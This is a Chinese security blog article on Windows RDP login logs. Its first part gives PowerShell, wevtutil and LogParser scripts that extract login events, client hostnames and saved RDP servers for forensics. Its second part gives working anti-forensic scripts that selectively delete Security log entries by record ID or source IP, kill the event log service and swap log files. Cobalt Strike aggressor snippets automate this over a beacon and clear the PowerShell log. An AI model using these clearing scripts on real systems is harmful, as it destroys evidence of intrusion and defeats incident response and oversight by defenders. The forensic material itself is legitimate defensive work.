Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >安全运维 | RDP登录日志取证和清除

安全运维 | RDP登录日志取证和清除

作者头像
安全小王子
发布于 2023-02-25 06:49:36
发布于 2023-02-25 06:49:36
2.5K00
代码可运行
举报
文章被收录于专栏:betasecbetasec
运行总次数:0
代码可运行

本文作者:whoam1@奇安信 首发地址:https://paper.seebug.org/1043 这篇文章由Cream朋友whoam1@奇安信授权发布,在此表示感谢,关于其他方面的文章或者技术可以浏览whoam1的博客!后期我们也会持续更新WEB安全系列课程(从小白到“入狱”),0.0,希望多多关注支持。公众号可以搜索:贝塔安全实验室,谢谢,Cream献上!

目录:

一:取证

  • 1.1 登录成功
  • 1.1.1 Security 线上分析
  • 1.1.2 Security 离线分析
  • 1.1.3 TerminalServices/Operational
  • 1.2 登录失败
  • 1.3 客户端主机名
  • 1.4 远程server
  • 1.5 日志量最大限制
  • 1.6 RDP开放端口
  • 1.7 挂载驱动器监控

二:清除

  • 2.1 EventRecordID单条删除
  • 2.2 IpAddress批量删除
  • 2.3 powershell示例

三:脚本化

  • 3.1 取证示例
  • 3.2 清除示例

参考

本文以server08为例,示例脚本以powershell为主

适用人群:运维、安全

RDP登录方式:

  • 爆破登录:多次登录失败&登录成功
  • 管理员登录:账户密码、凭据
  • console模式登录

使用工具:

  • wevtutil
  • LogParser
  • powershell
  • regedit

一:取证

取证关键点:

  • 登录IP
  • 登录ip端口
  • 登录时间
  • 登录客户端主机名
  • 登录后操作日志
  • 服务端敏感文件
  • 服务端登录的服务器ip
  • 服务端浏览器记录

1.1 登录成功

EventID=4624,从安全日志中获取登录成功的客户端登录ip、登录源端口、登录时间等信息

1.1.1 Security 线上分析
  • LogParser
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8, '|') as LogonType, EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP, EXTRACT_TOKEN(Strings, 19, '|') AS Sport INTO RdpLoginSuccess.csv FROM Security WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV
  • wevtutil
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil qe Security /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4624)] and EventData[(Data[@Name='LogonType']='10')]]"
  • wevtutil + powershell

wevtutil epl Security ./Sec.evtx

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function WinSuccEvent
{
    [CmdletBinding()]
    Param (
        [string]$csv,
        [string]$evtx = $pwd.Path+"\Sec.evtx"
    )

    $time=Get-Date -Format h:mm:ss
    $evtx=(Get-Item $evtx).fullname
    $outfile=(Get-Item $evtx).BaseName+".csv"
    $logsize=[int]((Get-Item $evtx).length/1MB)

    write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
    [xml]$xmldoc=WEVTUtil qe  $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing']  and (EventID=4624)] and EventData[Data[@Name='LogonType']='10']]" /e:root /f:Xml  /lf

    $xmlEvent=$xmldoc.root.Event

    function OneEventToDict {
        Param (
            $event
        )
        $ret = @{
            "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
            "EventRecordID" = $event.System.EventRecordID
            "EventID" = $event.System.EventID
        }
        $data=$event.EventData.Data
        for ($i=0; $i -lt $data.Count; $i++){
            $ret.Add($data[$i].name, $data[$i].'#text')
        }
        return $ret
    }

    filter Convert-DateTimeFormat
    {
      Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
      try {
        ([DateTime]$_).ToString($OutputFormat)
      } catch {}
    }

    $time=Get-Date -Format h:mm:ss
    write-host [+] $time Extract XML ... -ForegroundColor Green
    [System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
    for ($i=0; $i -lt $xmlEvent.Count; $i++){
        $event = $xmlEvent[$i]
        $datas = OneEventToDict $event
        $results.Add((New-Object PSObject -Property $datas))|out-null
    }

    $time=Get-Date -Format h:mm:ss
    $results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventRecordID
    if($csv){
        write-host [+] $time Dump into CSV: $outfile ... -ForegroundColor Green
        $results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventID,LogonType,EventRecordID | Export-Csv $outfile -NoTypeInformation -UseCulture  -Encoding Default -Force
    }
}
1.1.2 Security 离线分析

导出安全日志为:Security.evtx

  • LogParser
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8, '|') as LogonType, EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP ,EXTRACT_TOKEN(Strings, 19, '|') AS Sport INTO RdpLoginSuccess.csv FROM Security.evtx WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV
  • wevtutil
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil qe ./Security.evtx /q:"*[System[(EventRecordID=1024)]]"  /e:root /f:xml
1.1.3 TerminalServices/Operational
  • RemoteConnectionManager - EventID=1149
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil qe Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational "/q:*[TerminalServices-LocalSessionManager[(EventID=1149)]]" /f:text /rd:true /c:1

过滤id:1149且仅显示存在Param2数据

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil epl Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational ./TerminalServices.evtx
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function TerminalServices {

    [CmdletBinding()]
    Param (
        [string]$csv,
        [string]$evtx = $pwd.Path+"./TerminalServices.evtx"   
    )

    $time=Get-Date -Format h:mm:ss
    $evtx=(Get-Item $evtx).fullname
    $outfile=(Get-Item $evtx).BaseName+".csv"

    $logsize=[int]((Get-Item $evtx).length/1MB)

    write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
    [xml]$xmldoc=WEVTUtil qe $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-TerminalServices-RemoteConnectionManager'] and (EventID=1149)]]" /e:root /f:Xml  /lf

    $xmlEvent=$xmldoc.root.Event

    write-host $xmlEvent.Count

    function OneEventToDict {
        Param (
            $event
        )
        Try {
            $CheckLoginStatus = $event.UserData.EventXML.Param2
            if ($CheckLoginStatus) {
                $ret = @{
                    "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
                    "EventRecordID" = $event.System.EventRecordID
                    "EventID" = $event.System.EventID
                    "Param1" = $event.UserData.EventXML.Param1
                    "Param2" = $event.UserData.EventXML.Param2
                    "Param3" = $event.UserData.EventXML.Param3
                }
            }
        }
        Catch {
            continue
        }
        return $ret
    }

    filter Convert-DateTimeFormat
    {
      Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
      try {
        ([DateTime]$_).ToString($OutputFormat)
      } catch {}
    }

    $time=Get-Date -Format h:mm:ss
    write-host [+] $time Extract XML ... -ForegroundColor Green
    [System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
    for ($i=0; $i -lt $xmlEvent.Count; $i++){
        $event = $xmlEvent[$i]
        $datas = OneEventToDict $event
        try {
            $results.Add((New-Object PSObject -Property $datas))|out-null
        }
        catch {
            continue
        }
    }

    $time=Get-Date -Format h:mm:ss
    $results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID
    if($csv){
        write-host [+] $time Dump into CSV: $outfile ... #-ForegroundColor Green
        $results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID | Export-Csv $outfile -NoTypeInformation -UseCulture  -Encoding Default -Force
    }

}

同理:

  • LocalSessionManager - EventID:24/25
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil epl Microsoft-Windows-TerminalServices-LocalSessionManager/Operational ./LocalSessionManager.evtx
  • ClientActiveXCore - EventID:1024
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil epl Microsoft-Windows-TerminalServices-RDPClient/Operational ./ClientActiveXCore.evtx

1.2 登录失败

EventID=4625,分析语句同理登录成功

1.3 客户端主机名

注册表HKEY_USERS\SID\Volatile Environment\X.CLIENTNAME

powershell实现代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function ClientHostName {
    $UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
    foreach($Name in $UserSID) {
        $RegPath = "Registry::HKEY_USERS\"+$Name+"\Volatile Environment\"
        Try {
            $Servers = dir $RegPath -Name -ErrorAction Stop
            foreach ($Server in $Servers) {
                $ClientHostName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CLIENTNAME
                Write-Host "[+] RegPath: "$RegPath$Server
                Write-Host "[+] ClientHostName: "$ClientHostName
            }   
        }
        Catch {
            continue
        }
    }
}

1.4 远程server

注册表HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers\*

其中,保存凭据的单独显示

powershell实现代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function RdpServer {
    $UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
    foreach($Name in $UserSID) {
        $RegPath = "Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Servers\"
        Try {
            $Servers = dir $RegPath -Name -ErrorAction Stop
            foreach ($Server in $Servers) {
                $UserName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).UsernameHint
                Write-Host "[+] Server: "$Server" UserName: "$UserName
                $CertHash = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CertHash
                if($CertHash) {
                    Write-Host "[+] Server: "$Server" UserName: "$UserName" CertHash: "$CertHash 
                }
            }
        }
        Catch {
            continue
        }
        $RegPathDefault = "Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Default\"
        Try {
            $RegPathValues = Get-Item -Path $RegPathDefault -ErrorAction Stop
            foreach ($RegPathValue in $RegPathValues.Property ){
                write-host "[+] Server:port > "$RegPathValues.GetValue($RegPathValue)
            }
        }
        Catch {
            continue
        }
    }
}

1.5 日志量最大限制

注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function ChangeSecurityMaxSize {
    $SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"
    $SecurityRegValue = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
    write-host "Old Size: "+$SecurityRegValue
    Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'MaxSize' -value '209715200'
    $SecurityRegValueCheck = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
    write-host "New Size: "+$SecurityRegValueCheck+'(200M)'
}

1.6 RDP开放端口

查询注册表

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    $RegPath = "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
    $RDPportValue = (Get-ItemProperty -Path $RegPath -ErrorAction Stop).PortNumber
    write-host $RDPportValue

1.7 挂载驱动器监控

参考github:DarkGuardian:https://github.com/FunnyWolf/DarkGuardian

二:清除

以下两种方式根据修改注册表实现

以powershell为例:

需要修改注册表

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value C:\Windows\System32\winevt\Logs\Security_new.evtx

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
tasklist /svc | findstr "eventlog"
taskkill /F /PID 279
net start eventlog

2.1 EventRecordID单条删除

单条日志清除

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[System[(EventRecordID!=6810)]]" /ow:true

2.2 IpAddress批量删除

源ip清除

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[EventData[(Data[@Name='IpAddress']!='127.0.0.1')]]" /ow:true

2.3 powershell示例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    [CmdletBinding()]
    Param (
        [string]$flagvalue,
        [string]$evtx = $pwd.Path
    )

    $SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"

    $SecurityFileRegValueFileName = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).File
    $SecurityFileRegValueNew = $SecurityFileRegValueFileName.Replace("Security","Security_bak")
    $SecurityFileRegValueNewFlag = $SecurityFileRegValueFileName.Replace("Security","NewSecFlag")

    write-host $SecurityFileRegValueFileName

    # clear
    Try{
        wevtutil epl Security $SecurityFileRegValueNew /q:"*[System[(EventRecordID!="$flagvalue")]]" /ow:true
    }
    Catch {}

    Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value $SecurityFileRegValueNewFlag

    $EventlogSvchost = tasklist /svc | findstr "eventlog" 
    $EventlogMatch = $EventlogSvchost -match "(\d+)"
    $EventlogSvchostPID = $Matches[0]

    # Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

    write-host $EventlogSvchostPID

    taskkill /F /PID $EventlogSvchostPID

    Try{
        Remove-Item $SecurityFileRegValueFileName -recurse
    }
    Catch {}
    Try{
        Remove-Item $SecurityFileRegValueNewFlag -recurse
    }
    Catch {}

    ren $SecurityFileRegValueNew $SecurityFileRegValueFileName

    Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value $SecurityFileRegValueFileName

    net start eventlog

同理批量删除如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    # clear
    Try {
        wevtutil epl Security $SecurityFileRegValueNew /q:"*[EventData[(Data[@Name='IpAddress']!='')]]" /ow:true
    }
    Catch {}

三:脚本化

结合Cobalt Strike可实现自动化,具体可参考cna脚本编写:https://www.cobaltstrike.com/aggressor-script/index.html

3.1 取证示例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
     item "RdpSuccessEvent" {
          local('$bid');
          foreach $bid ($1){
              blog($1, "Get RDP Success Event (4624).");
              bpowershell($bid,"wevtutil epl Security ./Sec.evtx");
              bpowershell_import($bid, script_resource("./powershell/WinSuccEvent.ps1"));
              bpowerpick($bid,"WinSuccEvent");
              #bpowershell($bid,"WinSuccEvent");
              brm($1,"Sec.evtx");
              bpowershell($bid,"wevtutil cl \"Windows PowerShell\"");
          }
     }

3.2 清除示例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
     item "IDEventClear" {
          prompt_text("Input Clear EventRecordID","1024",lambda({
              blog(@ids,"Delete Security Event where EventRecordID = $1");
              bpowershell_import(@ids, script_resource("./powershell/IDEventClear.ps1"));
              bpowerpick(@ids,"IDEventClear $1");
              bpowershell(@ids,"wevtutil cl \"Windows PowerShell\"");
          },@ids => $1));
     }

四:参考

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-02-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
如何看待区块链项目——CRBC文博链?
风靡已久的比特币想必无人不知无人不晓,比特币是基于区块链基础上的革命创新,比特币之后大大小小各种数字货币如雨后春笋搬冒出,那么,同样是基于区块链项目的CRBC,它与其他的数字货币又有什么不同呢?它最大的特点又是什么呢?构成它的技术原理又是什么呢?笔者将在这里为大家一一解惑。
CRBC文博链
2018/05/08
2.4K2
如何看待区块链项目——CRBC文博链?
文物活起来,CRBC使文物数据化
随着科学技术的进步与发展,区块链技术在金融行业的应用越来越广泛,区块链技术应用有效实现了交易及信息的安全性,推动着金融行业的前进发展。从本质上来说,区块链是一个去中心化的数据库,是一串使用密码学方法产生相关联的数据块,每一个数据块中包含了一段时间内全网交易的信息,用于验证其信息的有效性和生成下一个区块。因而,区块链是以去中心化和去信任化的方式,来集体维护一个可靠数据库的技术方案。
CRBC文博链
2018/05/09
9925
文物活起来,CRBC使文物数据化
CRBC:基于区块链的文物数字链
区块链除了比特币和以太坊,除了最契合的金融领域之外,还有其他的领域也逐步卷入进来,之前说software is eating the world,现在是blockchain is eating the world,虽然区块链现在能量小,胃口也小,但未来它的胃口要远超互联网,会把人类社会的方方面面都卷入进来。
CRBC文博链
2018/05/16
2.7K9
CRBC:基于区块链的文物数字链
国内数字藏品平台激增,海外NFT缩水万倍!都在发行什么?
2022年,在“5·18国际博物馆日”,各地文博单位纷纷发布以文物为主题的数字藏品。随后,在“5·19中国旅游日”,各地景区也发布了以古建筑为主题的数字藏品。到了5月20日,以爱情为主题发行的“520”数字藏品更是覆盖各行业领域。
科技旋涡
2022/08/30
5920
国内数字藏品平台激增,海外NFT缩水万倍!都在发行什么?
数字周报87期 |​腾讯文旅发布六大维度升级;腾讯首次公布智慧农业战略
行业动态 腾讯文旅发布六大维度升级,全面助力行业迈向数实融合新阶段 11月30日,2022腾讯全球数字生态大会智慧文旅专场在线上圆满举行。此次专场上,腾讯文旅发布了六大维度的全面升级,涵盖技术、行业、场景、产业、服务、生态方向上的深化成果,以及文旅四大赛道的丰富实践和前沿解决方案。同时面向行业新要求新变化新趋势,推出了更加开放的生态圈和更具价值的“朋友圈共创计划”,通过提供一站式综合化的数字文旅服务体系,助力产业开新局,迈向数实融合新阶段。(相关链接:一图读懂 | 2022腾讯全球数字生态大会智慧文旅专场
腾讯文旅
2022/12/06
5020
数字周报87期 |​腾讯文旅发布六大维度升级;腾讯首次公布智慧农业战略
让数字藏品回归收藏本质
  刚开售即被抢空!原本只是几十块的数字藏品,竟然溢价数十倍甚至上百倍!近期,博物馆数字藏品正成为收藏和文创的新趋势。但是,数字藏品走红的背后,是无数的暗流涌动。那些吹捧“十万进场百万收场”“一局赚到房子首付”的言论,恰恰也流露出这一行业正处于野蛮无序生长中,亟待规范整治。
科技旋涡
2022/04/28
2160
带你了解CRBC项目情况
CRBC即国际文博链,全称Cultural-relics Bank Chain,CRBC也是依托了区块链技术整合了区块链和非区块链领域的分布式账本系统,下面一起来了解一下CRBC的项目进程。
CRBC文博链
2018/05/14
9642
带你了解CRBC项目情况
什么是CRBC文博链?
CRBC,全称Cultural-relics Bank Chain国际文博链,由皇家珍宝馆,中国艺术节基金会中宝基金,华登国际投资共同开发的一个通过艺术珍藏品作为抵押和信用担保数字链。它是基于区块链ERC2.0作为底层技术开发的数字资产,运用智能合约进行共识机制搭建,打造一个可溯源去中心化的古文化艺术品交易所或银行。通过CRBC区块确认以及区块链分布式记账的属性,来构建一个聚合SDK数据库,运用RFID 无线射频识别技术,构建CRBC 古文化艺术品交易所的交易生态体系。
CRBC文博链
2018/05/08
1.8K6
什么是CRBC文博链?
【区块链技术工坊31期】许向:艺术品领域区块链探索实践
1)题目: 【区块链技术工坊31期】艺术品领域区块链探索实践 2)议题: 正所谓古语有云,盛世兴古董,乱世重黄金。 刚巧我们正处于一个盛世中,各种古玩、古董、名贵字画等艺术品都非常有市场,动辄可能会拍出超级天价。 然而这里面也产生了一些问题,那就是在古董的拍卖流转过程中,始终存在着不不开不透明等弊端。并且不同地点的拍卖活动,会受到种种制约 同时还有一个较为严重的弊病,那就是一些古董或者艺术品的超级高价,往往将人群割裂开来,艺术品成为富人“继续致富”的工具,普通民众则无法通过艺术品增加财富。 艺术品实体资产怎么与虚拟资产绑定?艺术品如何拆分份额化?怎么才能产生不可篡改的艺术品流转记录并与实体资产绑定?
辉哥
2019/01/28
1.3K0
【区块链技术工坊31期】许向:艺术品领域区块链探索实践
金融数字资产区块链技术开发的数字资产系统开发的的核心特征
近年来,数字资产区块链技术的运用和发展在全球范围内掀起热潮,而以数字资产区块链作为底层技术的数字货币更是如雨后春笋。
小威互联说
2018/04/20
8790
金融数字资产区块链技术开发的数字资产系统开发的的核心特征
CRBC:打造文物数字化最大应用
中国是个拥有几千年历史的文明古国,在历史的时光里,文物记述承载着各种文明的盛起与衰亡,历史的车轮滚滚向前,文物已经不止是仅供学者研究,摆在橱窗里任人观赏的冷冰冰的器物,数字化时代,数字化文物,世人对文物的应用也要与时俱进不能固步自封停滞不前。
CRBC文博链
2018/05/18
9191
CRBC:打造文物数字化最大应用
热点关注丨博物馆IP开发 未来路在何方
近日,成都杜甫草堂和肯德基跨界合作推出了首家天府锦绣主题餐厅,杜甫诗作、草堂景观及书画等相关文化元素强势进驻,让人眼前一亮。 餐厅内营造出杜甫诗意氛围,墙上描绘着唐朝人的生活场景图案,桌面、墙壁上处处是杜甫的经典诗歌及其相关的书画作品,这是在新时代下对草堂和杜诗的创意表达。 <<  滑动查看下一张图片  >> 取餐台旁的3D全息投影利用科技立体化还原了杜甫故居草堂的春夏秋冬,同时还伴有杜甫描写春夏秋冬的诗歌。 餐厅揭幕后,有顾客对这种完全不同以往的主题大加赞赏,表示餐厅因此而增加了
腾讯文旅
2020/06/17
6320
区块链:传统投资人的焦虑与治愈
区块链:传统投资人的焦虑与治愈
数据猿
2018/04/25
1K0
区块链:传统投资人的焦虑与治愈
向文物原型NFT说“不” ,野蛮生长的市场该监管了么?
与会专家认为,近年来,文物数字化新技术、新方法、新业态不断涌现,文博单位应积极推进文物信息资源开放共享,满足人民群众日益增长的文化需求。
科技旋涡
2022/04/28
4420
向文物原型NFT说“不” ,野蛮生长的市场该监管了么?
CRBC——探索艺术金融+互联网发展新趋势
在完全市场化的文化政策驱使下,艺术成为消费资源,使得艺术消费成为艺术现代性的文化表征和社会认同。经过艺术消费,文化艺术作品依然存在,其边际效益不遵循经济学中的边际递减规律。艺术消费具有公共产品性质,且一般不具有排他性,消费群体越多越具有规模效应。艺术消费是文化消费的重要组成部分。文化消费满足了消费主体的精神需要,使主体感到愉悦、满足,其满足主体需要的对象主要是精神文化产品或精神文化活动,如感人的艺术品等。根据马斯洛的人类需求层次理论,以人们通过大脑思维、科学概念和艺术形象创造出来的精神产品为消费对象的精神消费越来越受到人们的重视。对精神产品的消费,不仅要求消费者具备经济上的消费能力,还要求消费者具备必要的艺术鉴赏等文化修养和素质方面的能力。
CRBC文博链
2018/05/29
8612
CRBC——探索艺术金融+互联网发展新趋势
腾讯区块链-【画说梦想】小程序应用NFT数字交易应用案例分析
近日,腾讯SSV发布基于至信链的区块链公益项目平台应用-“画说梦想”,是通过AI语音和文字填写两种输入方式,采集用户的梦想数据,然后随机匹配公益画作,发布于NFT数字交易平台上,主要实现腾讯云公益平台上的45个公益项目,用户捐赠随机匹配支持,打造可持续美好的公益新模式。
TCS-F
2022/01/24
2.4K0
腾讯区块链-【画说梦想】小程序应用NFT数字交易应用案例分析
元宇宙一周报:鱿物数字藏品平台上线,鲸探、百度智能云、支付宝将元宇宙搬进文博领域
  本周,优酷上线鱿物数字藏品平台,字节头戴式VR设备外观专利获授权,鲸探、百度智能云、支付宝等将带元宇宙走进文博领域,接下来,和速途元宇宙研究院一起来回顾下本周的元宇宙最新动态吧。
科技旋涡
2022/08/30
9220
元宇宙一周报:鱿物数字藏品平台上线,鲸探、百度智能云、支付宝将元宇宙搬进文博领域
NFT数字藏品系统 数字藏品系统开发详解案例 数字藏品现成源码成品说明开发
物以稀为贵。当数字藏品具有了唯一性、可证明的稀缺性、不可分割性等三个属性之后,本身就具备了价值。而这价值,首先体现在数字藏品背后承载的现实实物或虚拟物品本身就具有收藏价值;其次,是源自于数字藏品共识价值的形成,如时间价值、艺术价值、版权价值、稀缺价值等。
DD_MrsFu123
2022/06/26
5840
区块链 : 历史、现在与未来
就区块链而言,问不同的人,你会得到不同的答案。有人说,区块链是自互联网以来最重要的技术创新。也有人说,区块链不过是问题的解决方案而已。 最初的区块链,是数字货币比特币背后的去中心化的分类帐。这个分类账由被称为“块”的交易批次(即区块链)组成,并且在组成比特币网络的大约20万台计算机中每一台上,都储存了相同的副本。每一次对分类帐的更改都是通过密码签名来证明的,以证明转让虚拟硬币的人是这些硬币的实际所有人。 没用人可以把他们的硬币花掉两次,因为一旦交易被记录在账本上,网络中的每个节点都会知道。 谁为区块链铺平
刀刀老高
2018/04/10
1.4K0
NFT数字藏品系统 | 数字藏品系统开发详解案例 | 数字藏品现成源码
物以稀为贵。当数字藏品具有了唯一性、可证明的稀缺性、不可分割性等三个属性之后,本身就具备了价值。而这价值,首先体现在数字藏品背后承载的现实实物或虚拟物品本身就具有收藏价值;其次,是源自于数字藏品共识价值的形成,如时间价值、艺术价值、版权价值、稀缺价值等。
vx-ccy981112
2022/06/27
4280
NFT数字藏品系统 | 数字藏品系统开发详解案例 | 数字藏品现成源码
推荐阅读
相关推荐
如何看待区块链项目——CRBC文博链?
更多 >
LV.1
这个人很懒,什么都没有留下~
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验